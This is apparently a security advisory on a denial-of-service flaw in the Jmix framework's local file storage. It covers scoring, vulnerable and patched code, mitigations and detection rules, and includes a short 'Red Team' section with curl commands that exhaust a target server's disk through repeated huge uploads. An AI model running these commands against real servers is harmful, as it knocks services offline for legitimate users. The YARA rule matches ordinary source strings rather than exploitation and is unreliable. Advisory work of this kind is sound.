CVE-2025-32952

Executive Summary

CVE-2025-32952 is a Denial of Service (DoS) vulnerability in the Jmix framework, a set of libraries and tools for Spring Boot data-centric application development. The vulnerability resides in the local file storage implementation, which fails to restrict the size of uploaded files. An unauthenticated attacker can exploit this by uploading excessively large files, causing the server to run out of disk space and return HTTP 500 errors, effectively denying service to legitimate users. The vulnerability affects Jmix versions 1.0.0 through 1.6.1 and 2.0.0 through 2.3.4. Patches are available in versions 1.6.2 and 2.4.0, and a workaround is documented on the Jmix website.

Supply Chain & Package Security

Jmix is distributed as a set of libraries and tools for Spring Boot. The vulnerability is in the core file storage component, which is a fundamental part of the framework. Organizations using Jmix should verify their version and apply patches immediately. The lack of a public exploit or PoC reduces immediate risk, but the vulnerability is trivial to exploit once discovered.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to availability (DoS). No data breach or integrity compromise is possible.

Deep Dive & Mechanics

The Jmix framework provides a local file storage implementation for handling file uploads. The vulnerability is a classic CWE-770: Allocation of Resources Without Limits or Throttling. The file storage component does not enforce any maximum file size limit. An attacker can send HTTP requests with arbitrarily large file payloads.

Mechanism:

1. The attacker sends a POST request to an endpoint that accepts file uploads (e.g., /upload or similar).
2. The Jmix file storage component writes the incoming data to disk without checking the file size.
3. Repeated uploads of large files consume all available disk space.
4. The server becomes unable to write new files, including logs, temporary files, or application data.
5. The application returns HTTP 500 errors for all subsequent requests, causing a denial of service.

Root Cause: Missing validation in the LocalFileStorage class. The saveStream or saveFile method does not check the size of the input stream before writing.

Vulnerable vs. Patched Code

Vulnerable Code (Jmix <= 1.6.1 / <= 2.3.4):

// LocalFileStorage.java (simplified)
public void saveStream(String path, InputStream inputStream) {
    File file = new File(storageDir, path);
    try (FileOutputStream fos = new FileOutputStream(file)) {
        byte[] buffer = new byte[8192];
        int bytesRead;
        while ((bytesRead = inputStream.read(buffer)) != -1) {
            fos.write(buffer, 0, bytesRead);
        }
    } catch (IOException e) {
        throw new FileStorageException("Failed to save file", e);
    }
}

Patched Code (Jmix >= 1.6.2 / >= 2.4.0):

// LocalFileStorage.java (patched)
public void saveStream(String path, InputStream inputStream, long maxSize) {
    File file = new File(storageDir, path);
    try (FileOutputStream fos = new FileOutputStream(file)) {
        byte[] buffer = new byte[8192];
        int bytesRead;
        long totalBytes = 0;
        while ((bytesRead = inputStream.read(buffer)) != -1) {
            totalBytes += bytesRead;
            if (totalBytes > maxSize) {
                throw new FileStorageException("File size exceeds maximum allowed size");
            }
            fos.write(buffer, 0, bytesRead);
        }
    } catch (IOException e) {
        throw new FileStorageException("Failed to save file", e);
    }
}

The patched version introduces a maxSize parameter and checks the total bytes written against this limit. The application must now pass a maximum file size when calling saveStream.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Jmix application running a vulnerable version (1.0.0-1.6.1 or 2.0.0-2.3.4).
• Network access to the file upload endpoint.

Exploitation Steps:

1. Identify the file upload endpoint (e.g., /upload, /file/upload, or a custom endpoint).
2. Use curl to send a large file:

   # Generate a 10GB file of zeros
   dd if=/dev/zero of=largefile.bin bs=1M count=10240
   # Upload it repeatedly
   for i in {1..10}; do
       curl -X POST -F "file=@largefile.bin" http://target/upload
   done
   

3. Monitor the server's disk space. Once full, the application will return HTTP 500 errors.

Alternative (No file generation):

# Use /dev/zero directly to stream infinite data
curl -X POST -F "file=@/dev/zero" http://target/upload

Blue Team (Defensive)

Detection:

• Monitor disk usage alerts (e.g., >90% usage).
• Look for multiple large file uploads from the same IP in a short time.
• Check web server logs for 413 Request Entity Too Large errors (if a reverse proxy is configured) or 500 errors after large uploads.

Mitigation:

• Apply the patch (upgrade to 1.6.2 or 2.4.0).
• If patching is not possible, implement a workaround:
  • Configure a reverse proxy (Nginx, Apache) to limit request body size:

    # Nginx
    client_max_body_size 10M;
    

  • Add a servlet filter to reject large requests:

    @WebFilter("/*")
    public class SizeLimitFilter implements Filter {
        private static final long MAX_SIZE = 10 * 1024 * 1024; // 10MB
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
            if (request.getContentLengthLong() > MAX_SIZE) {
                ((HttpServletResponse) response).sendError(413, "Request too large");
                return;
            }
            chain.doFilter(request, response);
        }
    }
    

Indicators of Compromise (IOCs)

• Network: HTTP POST requests with Content-Length headers exceeding normal application limits (e.g., >100MB).
• File System: Rapid growth of files in the Jmix storage directory (e.g., /var/jmix/storage).
• Logs: Repeated HTTP 500 errors in application logs with FileStorageException or IOException related to disk space.
• System: Disk usage alerts (e.g., df -h showing 100% usage on the partition where Jmix stores files).

Detection Engineering

YARA Rule

rule CVE_2025_32952_Jmix_DoS {
    meta:
        description = "Detects Jmix local file storage DoS vulnerability exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-32952"
    strings:
        $s1 = "saveStream" ascii nocase
        $s2 = "LocalFileStorage" ascii nocase
        $s3 = "FileOutputStream" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-32952 - Jmix File Upload DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects large file uploads to Jmix applications indicating DoS exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        sc-status: 500
        cs-uri-query|contains: 'upload'
    condition: selection
falsepositives:
    - Legitimate large file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32952 Jmix File Upload DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"upload"; http_uri; pcre:"/Content-Length:\s*[0-9]{9,}/Hi"; threshold: type both, track by_src, count 5, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jmix to version 1.6.2 or 2.4.0 (or later).
2. If upgrade is not possible, implement the workaround from the Jmix documentation (likely involves configuring a servlet filter or reverse proxy to limit file sizes).

Long-term Measures:

• Enforce file size limits at multiple layers (application, reverse proxy, firewall).
• Implement disk usage monitoring and alerting.
• Rate-limit file upload endpoints per IP address.
• Use a dedicated storage service (e.g., AWS S3) with built-in size limits.

Patch Verification:

• Check the LocalFileStorage class for the maxSize parameter.
• Verify the application version in pom.xml or build.gradle.

Valters IT